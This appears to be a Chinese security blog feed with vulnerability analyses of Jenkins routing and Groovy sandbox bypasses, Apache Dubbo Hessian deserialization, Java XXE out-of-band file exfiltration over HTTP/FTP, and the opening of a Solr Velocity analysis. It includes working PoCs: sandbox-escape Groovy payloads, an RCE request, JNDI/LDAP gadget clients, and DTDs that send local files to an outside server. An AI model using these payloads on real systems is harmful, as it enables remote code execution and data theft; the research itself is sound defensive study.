同理，自增(++)自减(--)运算符也能间接调用到方法

分析

本质上还是通过threadInterceptors.get().clear()清除拦截器再执行任意代码

PoC

poc1

'calc'.({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "execute" }())();

poc2

++({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "toString" }());
'calc'.execute()

补丁

jenkinsci/groovy-sandbox commit
概述：对方法调用表达式以及递增递减表达式都做了处理

SECURITY-1294

公告：https://jenkins.io/security/advisory/2019-08-28/#SECURITY-1294
CVE-2019-10390
插件：Splunk Plugin
影响版本：<=1.7.4
利用点
- com.splunk.splunkjenkins.SplunkJenkinsInstallation#doCheckScriptContent

分析

通过上面分析的descriptorByName可以直接调用到指定的类，注意到SplunkJenkinsInstallation类的doCheckScriptContent方法，该方法调用了

LogEventHelper.validateGroovyScript(value)

该方法对script进行了解析，而参数value的值直接从request获取，因此传入精心构造的脚本可导致任意代码执行

PoC

GET /descriptorByName/com.splunk.splunkjenkins.SplunkJenkinsInstallation/checkScriptContent?value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec(%22calc%22)})%0aclass%20ASTTestPoc{}

补丁

jenkinsci/splunk-devops-plugin commit
版本：1.8.0
概述：引入GroovySandbox在解析前对Groovy脚本进行校验

总结

本报告分析了Jenkins动态路由机制和路由绕过的问题，并讨论了在主流插件Script Security中针对Groovy沙箱的绕过方法，其中最巧妙的是利用自身路由白名单绕过登录检查并结合Groovy语法达到远程代码执行，是一条非常精彩的利用链。

在修复方式上，可以看出Jenkins对于沙箱问题采取的防护方法是黑名单+白名单的方式，对安全的控制还是比较好的，不少问题都出在Groovy的语法特性上，使得较小权限的用户可以突破沙箱执行任意代码，相信以后也会有更巧妙的方式来绕过沙箱，欢迎大家探讨。

参考

Jenkins 路由解析及沙箱绕过漏洞分析报告(上)

Tue, 15 Sep 2020 16:42:32 +0000

Jenkins 路由解析及沙箱绕过漏洞分析报告(上)

简介

本报告主要研究Jenkins的路由解析机制和Groovy沙箱绕过带来的安全问题，梳理Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。由于篇幅较长，分为上下两篇发表，文中疏漏之处还请批评指正。

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。Jenkins的目的是持续、自动化地构建/测试软件项目以及监控软件开发流程，快速问题定位及处理，提升开发效率。

Script Security插件是Jenkins的一个安全插件，可以集成到Jenkins各种功能插件中。它主要支持两个相关系统：脚本批准和Groovy沙箱，分别用来管控脚本是否允许执行以及将脚本限制在安全环境下执行，避免带来不可控风险。

环境搭建

下载相应版本的war包

地址：https://updates.jenkins-ci.org/download/war/
设置环境变量JENKINS_HOME

set JENKINS_HOME=D:\Jenkins\jenkins_2.137
加上调试选项并运行

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jenkins_2.137.war --httpPort=8082
安装插件

国内镜像地址：https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json

Jenkins在安装过程中会自动下载部分插件的最新版，这部分可以先跳过，再在后台上传特定版本的插件（.hpi文件）进行安装，然后重启Jenkins完成安装

动态路由机制

首先从WEB-INF/web.xml入手看看Jenkins如何处理路由，可以看到所有请求都交给org.kohsuke.stapler.Stapler，具体是由Stapler:service()方法来处理

在service方法中主要调用的是invoke方法，两处调用的区别是invoke的第3和第4个参数不同，分别是根节点root和url路径，在调用之前判断了url路径，如果是/$stapler/bound/开头，则把根节点设置为boundObjectTable，否则通过this.webApp.getApp()把根节点设置为hudson.model.Hudson

跟进invoke方法

调用的是Stapler#tryInvoke()方法，tryInvoke()方法中对node类型（也就是一开始的root）进行了判断，按先后顺序分别处理三种情况

StaplerProxy
StaplerOverridable
StaplerFallback

这三种情况的具体区别可以参考Jenkins关于路由请求的文档

这里我们关注中间获取metaClass和调用dispatch的过程

通过传入/securityRealm/user/admin/动态调试来跟踪理解

初始化metaClass

WebApp中会缓存一个classMap存放MetaClass，无对应缓存则通过

mc = new MetaClass(this, c);

进行初始化，这个过程发生在Jenkins刚启动没有缓存时，当建立缓存后则直接从classMap获取相应的MetaClass

MetaClass mc = (MetaClass)this.classMap.get(c);

在MetaClass的构造方法中，会再次调用其父类的getMetaClass()方法，直到父类为空为止

而此时的kclass为一开始传入的hudson.model.Hudson，Hudson继承关系如下图

因此getMetaClass一直调用到class java.lang.Object，然后进行buildDispatchers()方法并层层返回，因此整个初始化metaClass的过程是一个不断寻找继承树并递归调用buildDispatchers的过程，而buildDispatchers的功能就是提取该类中的所有函数信息存储在MetaClass.dispatchers中，作为后续与url的映射关系

buildDispatchers()方法按顺序调用如下：

this.registerDoToken(node)
- do(…)
node.methods.prefix(“js”).iterator()
- js(…)
node.methods.annotated(JavaScriptMethod.class).iterator()
- @JavaScriptMethod annotation
node.methods.prefix(“get”)
- get()
- get(String)
- get(Int)
- get(Long)
getMethods.signature(new Class[]{StaplerRequest.class}).iterator()
- get(StaplerRequest)
getMethods.signatureStartsWith(new Class[]{String.class}).name(“getDynamic”).iterator()
- getDynamic(…)
node.methods.name(“doDynamic”).iterator()
- doDynamic(…)

这相当于规定了一个函数命名规则，只要符合这个规则的方法都能被访问到。

注意此过程中，大部分dispatchers添加的都是NameBasedDispatcher对象，除了如下几类：

DirectoryishDispatcher (url路径相关，如/、?、../等)
HttpDeletableDispatcher (DELETE方法)
IndexDispatcher (doIndex(...))
Dispatcher (getDynamic(…) doDynamic(…))

其中js<token>(…)对应的JavaScriptProxyMethodDispatcher继承自NameBasedDispatcher

hudson.model.Hudson经过递归buildDispatchers，缓存下的dispatchers有220个，根据上面的注意点，其中大部分方法会调用到NameBasedDispatcher#dispatch()

递归解析路由

回到org.kohsuke.stapler.Stapler#tryInvoke()，路径/securityRealm/对应的是hudson.security.SecurityRealm jenkins.model.Jenkins.getSecurityRealm()，同样也会调用到NameBasedDispatcher#dispatch()

接下来可以看到ff.invoke()返回一个hudson.security.HudsonPrivateSecurityRealm对象，然后重新调用org.kohsuke.stapler.Stapler#invoke()，这也是一个递归的过程。此时HudsonPrivateSecurityRealm返回的dispatchers有30个，在Stapler#tryInvoke()中进行循环调用，在每个dispatchers动态生成的dispatch方法中，会根据解析到的url路径与当前的dispatchers进行对比，不一致直接返回false，同时还会判断是否存在下一层路由，如果存在则进入doDispatch

比如此时解析到的url为/user/，则只有hudson.security.HudsonPrivateSecurityRealm.getUser(String)方法进入下一步doDispatch

当传入一个不存在的url，tryInvoke会返回false，抛出404，也就不继续往下解析了

经过上面递归的tryInvoke过程，Jenkins才完成路由解析，调用过程的流程图如下

动态路由绕过

公告：https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
CVE：CVE-2018-1000861
影响版本：Jenkins<=2.153 / Jenkins LTS<=2.138.3

这是一个动态路由绕过导致未授权访问的问题，由Orange提交：）参考 Hacking Jenkins Part 1 - Play with Dynamic Routing

白名单机制

上面分析了Jenkins构建动态路由的过程，主要调用的是org.kohsuke.stapler.Stapler#tryInvoke()方法，该方法对所属于StaplerProxy的类会有一次权限检查，而一开始我们知道除了boundObjectTable其他的node都被设置为hudson.model.Hudson，上面也讲到Hudson类继承自Jenkins，而Jenkins的父类AbstractCIBase是StaplerProxy的一个接口实现，所以除了boundObjectTable外所有node都会进行这个权限检查，具体实现在jenkins.model.Jenkins#getTarget()中

这个方法会先进行一次checkPermission，如果没有权限则会抛出异常还会再进行一次isSubjectToMandatoryReadPermissionCheck检查，如果这个检查通过同样会正常返回

这个检查中有一个白名单，如果存在于这个白名单中的url路由同样可以直接访问

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[] {
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
});

还是以/securityRealm/user/admin/为例，在解析至securityRealm的时候命中白名单，正常返回，而解析至admin的时候因为User类并非StaplerProxy子类，所以会跳过getTarget()检查，成功绕过

跨物件操作

接下来关注DescriptorByName

从继承关系图可以看到User也是DescriptorByNameOwner接口的实现

而DescriptorByNameOwner接口调用的是 jenkins.model.Jenkins#getDescriptor

public interface DescriptorByNameOwner extends ModelObject {
    default Descriptor getDescriptorByName(String id) {
        return Jenkins.getInstance().getDescriptorByName(id);
    }
}

该方法首先获取了所有的descriptors，如果传入的id匹配到了相应的descriptor就能去调用指定的方法，例如org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl，getDisplayName()和doCheckScript()都是能被调用到的

因此，通过构造/securityRealm/user/DescriptorByName/xxx的方式就可以调用到任意类的任意方法，只要满足下面两个条件：

符合上文整理的命名规则；
目标类继承了Descriptor；

利用链：

Jenkins->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor

在这个漏洞修复后还想再利用则必须开启Allow anonymous read access匿名用户访问权限，否则会抛出404

总结

本报告上篇讨论了Jenkins动态路由机制和路由绕过的问题，通过这个脆弱点可以绕过用户权限检查从而访问到特定的物件，为下一步进行远程代码执行漏洞攻击降低了攻击门槛，是一个非常巧妙的入口。下篇将分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，欢迎关注。

参考

Apache Dubbo 2.7.6 反序列化漏洞复现及分析

Wed, 01 Jul 2020 19:59:26 +0000

简介

Dubbo 从大的层面上讲是RPC框架，负责封装RPC调用，支持很多RPC协议
RPC协议包括了dubbo、rmi、hessian、webservice、http、redis、rest、thrift、memcached、jsonrpc等
Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化

图片来源：https://www.anquanke.com/post/id/209251

环境搭建

克隆项目
- git clone https://github.com/apache/dubbo-spring-boot-project.git
- git checkout 2.7.6

添加rome依赖

dubbo-spring-boot-samples 文件夹，在provider-sample文件夹下的 pom 里添加

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

启动服务端

org.apache.dubbo.spring.boot.demo.provider.bootstrap.DubboAutoConfigurationProviderBootstrap

复现

python版本

# -*- coding: utf-8 -*-
# Ruilin
# pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 
client = DubboClient('192.168.2.1', 12345)
 
JdbcRowSetImpl=new_object(
    'com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://192.168.2.2:1389/nnyvbt",
    strMatchColumns=["foo"]
    )
JdbcRowSetImplClass=new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
    )
toStringBean=new_object(
    'com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )
 
resp = client.send_request_and_return_response(
    service_name='any_name',
    method_name='any_method',
    args=[toStringBean])
    
print(resp)

java版本

DemoService增加接口方法
```
String rceTest(Object o);
```

DefaultDemoService实现接口方法

@Override
public String rceTest(Object o) {
    return "pwned";
}

DubboAutoConfigurationConsumerBootstrap客户端增加调用

public ApplicationRunner runner() throws Exception {
    Object o = getPayload();
    return args -> logger.info(demoService.rceTest(o));
}
    
private static Object getPayload() throws Exception {
    String jndiUrl = "ldap://192.168.3.104:1389/sg56vh";
    
    ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
    EqualsBean root = new EqualsBean(ToStringBean.class, bean);
    
    return JDKUtil.makeMap(root, root);
}

运行provider服务者，再运行consumer消费者，触发漏洞

流量

0xdabb开头的为dubbo流量，提出后可以直接用socket发送触发漏洞

分析

python版本触发点

org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument()
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()
java.lang.StringBuilder.append()
java.lang.String.valueOf()
org.apache.dubbo.rpc.RpcInvocation.toString()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()

python版本poc成功触发的关键点在于，通过构造一个不存在的service_name使得服务端获取不到期望的DubboExporter进而抛出异常，而在输出异常信息的时候进行了字符串拼接进而调用了隐含的toString方法，所以能够通过构造的恶意对象的toString方法触发漏洞

那么关键点就在异常处理部分了，也正是rui0提出的“后反序列化漏洞”的利用场景，重点来看一下

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()

//dubbo 2.7.3
if (exporter == null) {
    throw new RemotiyicngException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
} else {
    return exporter.getInvoker();
}

dubbo 2.7.3版本中，抛出异常部分直接拼接了inv，此时inv为DecodeableRpcInvocation对象，并且arguments值为我们设置的ToStringBean对象，在对其直接进行字符串拼接时会触发String.append->String.valueOf->obj.toString()，进而将ToStringBean进行tostring触发漏洞

而在2.7.5之后的版本中，throw RemotiyicngException部分变成了

//dubbo 2.7.5
if (exporter == null) {
    throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + this.getInvocationWithoutData(inv));
} else {
    return exporter.getInvoker();
}

注意到对inv经过了getInvocationWithoutData处理，这个处理是这样的：

//org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol
private Invocation getInvocationWithoutData(Invocation invocation) {
    if (this.logger.isDebugEnabled()) {
        return invocation;
    } else if (invocation instanceof RpcInvocation) {
        RpcInvocation rpcInvocation = (RpcInvocation)invocation;
        rpcInvocation.setArguments((Object[])null);
        return rpcInvocation;
    } else {
        return invocation;
    }
}

可以看到将invocation中的arguments值处理成了空，经过这个处理之后后续的toString利用链就无法继续下去，起到了第一层防御效果，因此通过设置arguments为恶意对象的方法就无法在2.7.5版本以上触发。

Java版本触发点

org.apache.dubbo.remoting.transport.DecodeHandler.decode()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject()
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject()
com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap()
com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap()
java.util.HashMap.put()->hash()->hashCode()
com.rometools.rome.feed.impl.EqualsBean.beanHashCode()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()

下面讨论一下java版本poc为什么在解决了异常处理的toString后还是能触发漏洞？

除了上面的commit修复了异常处理中的toString外，官方还提交了一个PR

在org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()中增加了RpcUtils.isGenericCall和RpcUtils.isEcho的判断，在没有补丁之前，pts还能通过反射从desc中获取到，而打了补丁后，如果方法名不是$invoke或$invokeAsync或$echo则直接抛出Service not found，因此当用python版本poc发送不存在的service_name或method_name时，便通不过判断，也就无法利用。

上述判断条件是当传入的参数类别从对应的方法中获取不到的时候进行的，那么如果我们传入正确的方法名和参数类型，该条件就不成立，也就不会进入RpcUtils.isGenericCall和RpcUtils.isEcho，从而绕过了对调用的方法名的判断

因此我们重新实现一下客户端代码，调用正确的服务名和方法名，并传入构造的map对象，便能再次触发漏洞。

触发条件：必须知道服务端的完整service name和方法名，同时该方法需要能接收map或object对象，客户端才能通过正确的服务名和方法名去调用，否则是无法触发的。

2.7.7绕过

上面分析了CVE-2020-1948，看似补丁修复了漏洞，但之后又有讨论说在2.7.7上又存在绕过，下面也来分析一下

还是看getInvocationWithoutData方法，注意到在设置arguments为空之前有这么两行代码

if (this.logger.isDebugEnabled()) {
    return invocation;
}

这就是说如果provider是以debug模式启动的，那么会直接返回invocation对象。。。

配置一下服务端启动的日志级别，然后修改python版本poc的method_name为$invoke，成功绕过2.7.7补丁（还需要注意服务名是否匹配和服务版本号的问题）

<?xml version="1.0" encoding="UTF-8"?>
<configuration scan="true">
    <logger name="com.alibaba.dubbo" level="DEBUG"/>
</configuration>

小结

上面两种触发方式是不一样的，一个是利用异常处理中存在设计不足，使得可以执行用户可控参数的toString方法，也即“后反序列化”利用思路，另一个是直接反序列化hessian2数据，期间对hashmap的操作进入toString，从调用栈上也能看出两者的区别。

修复方式

按照dubbo/pull/6374建议的方法，给ParameterTypesDesc加上校验，严格限制类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;，同时建议参考sofa-hessian给反序列化加上黑名单

参考

JAVA XXE中两种数据传输形式及相关限制

Thu, 07 May 2020 10:40:08 +0000

示例代码：

DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse("xxe.xml");

HTTP传输

xxe_http.xml

<?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE ANY [
                <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/http.dtd">
                %dtd;
                %http;
                %send;
                ]>
<ANY>xxe</ANY>

http.dtd

<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % http "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:8080/%file;'>">

在dbBuilder.parse("xxe_http.xml")时会产生异常

java.net.MalformedURLException: Illegal character in URL
	at sun.net.www.http.HttpClient.getURLFile(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.writeRequests(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.skipSeparator(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDecls(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(Unknown Source)

这是因为在rt.jar!/sun/net/www/http/HttpClient.class中，JDK7u21

public String getURLFile() throws IOException {
    String str = this.url.getFile();
    if (str == null || str.length() == 0) {
      str = "/";
    }

    if (this.usingProxy && !this.proxyDisabled) {
        //...
    }
    if (str.indexOf('\n') == -1) {
      return str;
    }
    throw new MalformedURLException("Illegal character in URL");
}

能够看到在处理httpURL的时候，如果字符串含有换行符(\n)就会直接抛出异常，而一般通过http外带基本只能拼接到url中，所以碰到需要往外带的数据含有换行符时就会失败

对\n的处理应该在比较早的版本就引入了，从commit中看到最早在05年的代码中就有这块处理，所以默认高版本Java应该是对url都有处理的

FTP传输

xxe_ftp.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://127.0.0.1:8080/ftp.dtd">
        %dtd;%ftp;%send;
        ]>
<ANY>xxe</ANY>

ftp.dtd

<!ENTITY % file SYSTEM "file:///D:/data.txt">
<!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">

其中%file;的引用有两种方式，一个是在PASS字段引用，一个是在URL路径中引用，两种方式存在一定差异，具体可以见下面情况一分析

先来看触发XXE的过程中FTP客户端与服务端的交互

info: FTP: recvd 'USER fakeuser'
info: FTP: recvd 'PASS testdata'
info: FTP: recvd 'TYPE A'
info: FTP: recvd 'CWD .'
info: FTP: recvd 'EPSV ALL'
info: FTP: recvd 'EPSV'
info: FTP: recvd 'EPRT |1|127.0.0.1|50130|'
info: FTP: recvd 'LIST'

可以看到server会向client发送几个指令，包括要求提供用户名密码(数据在此阶段被带出)，切换路径，列出文件等过程。

使用Everything自带的FTP服务功能，通过抓包观察正常的FTP交互流程，大致是这样子的

注意到发送LIST指令时会返回150和226，那么在xxer中也尽可能模拟这个过程，但是在实际利用中会发现，当xxer服务端接收到LIST指令时，client与server不再有交互了，处于一个互相等待的过程中，具体的原因见下面分析

sun.net.ftp.impl.FtpClient处理LIST指令的过程中存在一个bug（可能与模拟的ftpserver没有支持所有指令有关），FtpClient.openDataConnection()方法中，

当ftpserver收到LIST指令后模拟正常ftp通信返回226代码，然后当前socket进入accept，会创建一个新的Socket，接着通过java.net.ServerSocket#implAccept()方法接受socket连接

但是此时的address是null，也就是说服务端和客户端此时是没有正常建立新的socket的，于是两端都处在等待状态，客户端就会被挂起。

然而抓包看整个通信过程，client与server的交互与正常的交互是一模一样的，正常ftp服务端收到LIST指令后返回226传输完毕，当前socket会正常关闭，然后等待下一次交互指令，但是在xxer/xxeserv模拟的过程中却会被挂起，这个问题暂时没有解决办法。（passive mode，客户端发送指令使服务端进入被动模式，但没有效果）

如果这个过程是发生在weblogic端并且Java版本较低时，并不影响数据传输，只是会有一个对ftpserver的长连接，但是如果是在本地通过外部实体的方式解析xml文件，同样会被挂在长连接的过程，于是就有可能无法生成相应的payload

Tips：如何利用FTP获取目标Java版本

ftp.dtd

<!ENTITY % file SYSTEM "file:///D:/data.txt">
<!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>">

当不指定用户名和密码直接连接FTP时，client默认会以anonymous登录，密码则是client的Java版本，所以可以利用这个方式获取目标服务器的Java版本：

info: FTP: recvd 'USER anonymous'
info: FTP: recvd 'PASS Java1.7.0_21@'
info: FTP: recvd 'TYPE I'
info: FTP: recvd 'EPSV ALL'
info: FTP: recvd 'EPSV'
info: FTP: recvd 'EPRT |1|127.0.0.1|54357|'
info: FTP: recvd 'RETR tesdata'

FTP中特殊字符的问题

情况一

各种特殊字符在特定版本下的情况

测试的jdk版本：JDK7u21
pwd字段意义：<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">
file字段意义：<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:s@127.0.0.1:2121/%file;'>">

符号/位置	\n	[	‘	“	%	&	@	#	?	/
pwd字段	√	×	×	√	×(*0)	×(*0)	×(*1)	√	×	×
file字段	√	√	×	√	×	×	√	√(*2)	√(*3)	√(*4)

*0：org.xml.sax.SAXParseException：% &都有实际意义，不能被正常引用和替换

*1：java.net.UnknownHostException：@被当作用户名:密码@主机，不能正确处理

*2：会截断#之后的内容，URL锚点

*3：会截断?之后的内容，URL参数

*4：/分隔的每部分会单独出现在CWD指令中，最后一部分出现在%file

解决办法：

单引号/双引号：能否正常读取取决于参数实体的写法，简单说就是用单引号来防止闭合双引号，用双引号来防止闭合单引号；
< % &等，通过<![CDATA[<"%'&]]>忽略特殊字符；

情况二

换行符在不同版本下的情况

jdk7u131与jdk7u141的对比

jdk8u131-b08与jdk8u131-b09的对比

因此，通过ftp外带数据时，Java版本 <7u141-b00 或 <8u131-b09 时才不会受文件中\n的影响。

上面的修复补丁都是在rt.jar!/sun/net/ftp/impl/FtpClient.class#issueCommand()中增加对换行符的判断，但是四哥在Java底层修改对XXE利用FTP通道的影响中提到FTP通道被阻断的时候还没有触发到issueCommand()，这边也来调试一下

环境JDK8u141，直接断到issueCommand()

发现在8u141中，对\n的检查确实是在issueCommand()，RETR返回的数据中如果有换行符就抛出sun.net.ftp.FtpProtocolException: Illegal FTP command，那么四哥说的在这之前有一个checkURL方法又是在哪里呢，搜一下java源码确定一下引入checkURL是在哪个版本

github上相关commit，版本是 jdk8u_jdk-jb8u232-b1638.6，时间是2019年4月份

1.8.0_141相关调用栈

Exception in thread "main" java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command
	at sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:623)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)

1.8.0_232相关调用栈

Exception in thread "main" java.lang.IllegalArgumentException: Illegal character in URL
	at sun.net.www.protocol.ftp.FtpURLConnection.checkURL(FtpURLConnection.java:164)
	at sun.net.www.protocol.ftp.FtpURLConnection.<init>(FtpURLConnection.java:188)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:61)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:56)
	at java.net.URL.openConnection(URL.java:1001)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:621)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)

综上，利用XXE漏洞通过FTP协议外带数据时，能否成功受Java版本影响，总结如下

<7u141-b00 或 <8u131-b09 ：不会受文件中\n的影响；
>jdk8u131：能创建FTP连接，外带文件内容中含有\n则抛出异常；
>jdk8u232：不能创建FTP连接，只要url中含有\n就会抛出异常；

dtd引用中的问题

问题1

内部实体与外部实体不能结合使用

有一个需要注意的点是，参数实体只能在DTD中引用，举个例子

<!ELEMENT person1 (name, sex, age)>
<!ELEMENT person2 (name, sex, age)>
<!ELEMENT person3 (name, sex, age)>

为了减少重复定义某些元素，可以通过参数实体的方式进行定义，如

<!ELEMENT %res "name, sex, age">

然后通过%res进行引用

<!ELEMENT person1 (%res;)>
<!ELEMENT person2 (%res;)>
<!ELEMENT person3 (%res;)>

但是这种元素替换的方式仅限于外部DTD。在以上过程中，参数实体将元素组保存在DTD的外部子集中，因为内部子集有非常严格的校验，即标记声明中不允许引用参数实体，如下的参数实体引用是会失败的，抛出异常java.io.IOException: org.xml.sax.SAXParseException: The parameter entity reference "%file;" cannot occur within markup in the internal subset of the DTD.

这些实体可以定义DTD语法，但不能定义在另一个DTD标签中立即引用，如下面的使用也将失败：

<!ENTITY %res "name, sex, age">
<!ELEMENT person (%res;)>

但是，可以通过在外部参数实体中声明，在内部DTD子集中使用的形式：

<!DOCTYPE ANY [
        <!ENTITY % dtd SYSTEM "http://localhost/my.dtd">
<ANY>xxe</ANY>

远程my.dtd

<!ENTITY % file SYSTEM "file:///C:/file">

总结，对于上面定义的参数实体，需要注意的点是：

对参数实体的引用只能在DTD中发生；
参数实体不能在文档主体中使用；
内部DTD子集中的标记内不允许使用参数实体引用；
参数实体允许创建其他实体和参数实体；

问题2

无法向外请求dtd

假如目标系统存在防火墙，无法对外发起连接，就不能通过外部dtd注入了，此时可以利用系统本地已存在的dtd文件，覆盖其中的某个实体，通过报错形式进行利用

local.dtd

<?xml version="1.0" encoding="UTF-8"?>

        <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\xwizard.dtd">

        <!ENTITY % onerrortypes '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:///D:/data.txt">
        <!ENTITY &#x25; http "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://127.0.0.1:8080/&#x25;file;&#x27;>">
        &#x25;http;
        &#x25;send;
        <!ATTLIST xxe aa "bb" #IMPLIED'>
        %local_dtd;
        ]>

xxe_http.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/local.dtd">
        %dtd;
        ]>
<ANY>xxe</ANY>

另一个思路：从目标机器上的jar包中发现可以被利用的本地dtd文件

参考：

Apache Solr Velocity模板注入漏洞分析

Tue, 05 Nov 2019 09:40:22 +0000

0x01 概述

10月30日，研究员S00pY在GitHub发布了Apache Solr Velocity模版注入远程命令执行的poc，该漏洞通过设置资源加载属性，利用VelocityResponseWriter插件执行自定义模板，进而进行远程代码执行，危害较大，下面是分析过程。

0x02 环境搭建

选择Solr 8.2.0二进制版本进行分析和复现

